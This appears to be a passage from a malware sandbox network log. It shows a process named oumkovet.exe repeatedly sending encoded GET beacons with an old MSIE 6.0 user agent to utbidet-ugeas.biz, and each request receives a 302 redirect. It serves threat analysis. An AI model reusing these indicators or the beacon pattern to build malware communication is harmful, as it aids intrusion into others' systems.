Sep 8, 2024 08:41:43.997010946 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:43 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	53519	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:44.005999088 CEST	201	OUT	GET /d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:44.499912024 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:44 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C3BA0D26C7BA0D26F1BA2526C3BADEBA4BB90960C2BACD8EC1BF3B08F1943414F38A2326 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	53521	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:44.646483898 CEST	169	OUT	GET /d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:45.154279947 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:45 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	53522	172.234.222.138	80

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:45.166620016 CEST	201	OUT	GET /d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:45.646017075 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:45 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02596BC4FA5D6BC4FA6B6BECFA596B1766D168C0BC586B04525B6EF2D46B45FDC8695BEAFA Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	53524	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:46.004949093 CEST	169	OUT	GET /d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:46.498558998 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:46 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	53525	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:46.505594015 CEST	201	OUT	GET /d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:46.986268044 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02A2884F39A6884F3990886739A2889CA52A8B4B7FA3888F91A08D791790A6760B92B86139 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	57235	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:50.730257988 CEST	169	OUT	GET /d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:51.215065956 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:51 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	57236	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:51.222378016 CEST	201	OUT	GET /d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:51.733542919 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:51 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0289EC2CDB8DEC2CDBBBEC04DB89ECFF4701EF289D88ECEC738BE91AF5BBC215E9B9DC02DB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	64229	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:59.506258965 CEST	169	OUT	GET /d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:00.008054018 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:59 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	64230	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:00.015773058 CEST	201	OUT	GET /d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:00.524609089 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02873C3107833C3107B53C1907873CE29B0F3F3541863CF1AF85390729B5120835B70C1F07 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	64232	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:00.680305004 CEST	169	OUT	GET /d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:01.165190935 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	64233	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:01.197820902 CEST	201	OUT	GET /d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:01.681560993 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:01 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278E188437CE188434AE1A04378E15BDFF0E28C0579E148EB7AE4BE6D4ACFB17148D1A643 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	64235	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:01.855267048 CEST	169	OUT	GET /d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:02.355171919 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	64236	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:02.361280918 CEST	201	OUT	GET /d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:02.842648029 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA002DEEAE002DEE980005EEAA00FE72220329A8AB00ED46A8051BC0982E14DC9A3003EE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	64238	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:03.212457895 CEST	169	OUT	GET /d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:03.695502043 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:03 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	64239	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:03.707221985 CEST	201	OUT	GET /d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:04.194554090 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:04 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020612B11E0212B11E3412991E061262828E11B558071271B604178730343C882C36229F1E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	64241	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:09.727025986 CEST	169	OUT	GET /d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
